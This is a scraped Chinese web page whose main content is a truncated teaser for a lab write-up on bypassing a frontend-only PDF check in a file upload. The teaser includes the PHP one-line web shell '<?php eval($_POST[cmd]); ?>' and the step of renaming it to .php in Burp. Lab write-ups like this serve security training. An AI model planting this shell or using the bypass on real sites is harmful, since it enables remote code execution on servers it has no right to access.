本文分类:news发布日期:2026/4/2 8:06:19
打赏

相关文章

【好靶场】你能找到上传路径吗?

这里给的很直接&#xff0c;大概就是前端做了pdf校验&#xff0c;然后后端没有做校验那么我们可以通过burp抓包改包burp抓包改包绕过前端上传后缀限制我们先写一个shell.pdf文件<?php eval($_POST[cmd]); ?>然后抓包再将后缀改为php即可在工单的页面&#xff0c;我们查…

手机版浏览

扫一扫体验

微信公众账号

微信扫一扫加关注

返回
顶部